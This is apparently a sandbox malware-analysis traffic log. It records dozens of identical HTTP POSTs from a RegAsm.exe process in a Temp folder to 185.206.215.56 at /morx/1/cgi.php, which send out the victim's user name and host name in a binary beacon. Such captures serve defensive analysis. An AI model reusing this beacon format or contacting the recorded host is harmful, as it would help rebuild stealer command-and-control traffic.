Jan 5, 2021 19:06:38.870753050 CET	1246	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:38.965107918 CET	1246	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:38 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.22	49175	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:10.499610901 CET	1152	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:10.574229002 CET	1152	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:10.673142910 CET	1153	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:09 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.22	49247	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:39.177875996 CET	1247	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:39.246382952 CET	1247	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:39.331864119 CET	1248	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:38 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.22	49248	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:39.554968119 CET	1248	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:39.636351109 CET	1249	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:39.738313913 CET	1249	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:38 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.22	49249	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:39.944185019 CET	1250	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:40.027277946 CET	1250	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:40.121556044 CET	1250	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:39 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.22	49250	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:40.335809946 CET	1251	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:40.418672085 CET	1251	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:40.507894039 CET	1252	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:39 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.22	49251	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:40.714092016 CET	1252	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:40.792989016 CET	1253	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:40.893522978 CET	1253	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:39 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.22	49252	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:41.109833956 CET	1254	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:41.183476925 CET	1254	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:41.281018019 CET	1254	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:40 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.22	49253	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:41.488492012 CET	1255	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:41.558628082 CET	1255	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:41.665958881 CET	1256	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:40 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.22	49254	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:41.875312090 CET	1256	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:41.949035883 CET	1256	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:42.043814898 CET	1257	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:41 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.22	49255	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:42.266644955 CET	1258	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:42.339826107 CET	1258	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:42.432653904 CET	1258	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:41 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.22	49256	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:42.638994932 CET	1259	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:42.714842081 CET	1259	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:42.805691004 CET	1259	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:41 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.22	49176	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:10.888135910 CET	1153	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:10.964956045 CET	1154	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:11.065620899 CET	1154	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:10 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.22	49257	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:43.011253119 CET	1260	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:43.074328899 CET	1260	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:43.168521881 CET	1261	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:42 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.22	49258	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:43.372296095 CET	1261	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:43.433650970 CET	1262	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:43.526493073 CET	1262	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:42 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.22	49259	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:43.756834984 CET	1263	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:43.824333906 CET	1263	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:43.913404942 CET	1263	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:43 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.22	49260	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:44.120265961 CET	1264	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:44.183681965 CET	1264	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:44.276026011 CET	1265	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:43 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.22	49261	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:44.485788107 CET	1265	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:44.558702946 CET	1266	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:44.652260065 CET	1266	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:43 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.22	49262	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:44.876902103 CET	1267	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:44.949070930 CET	1267	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:45.053688049 CET	1267	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:44 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.22	49263	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:45.261636972 CET	1268	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:45.324451923 CET	1268	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:45.422622919 CET	1269	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:44 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.22	49264	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:45.633934021 CET	1269	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
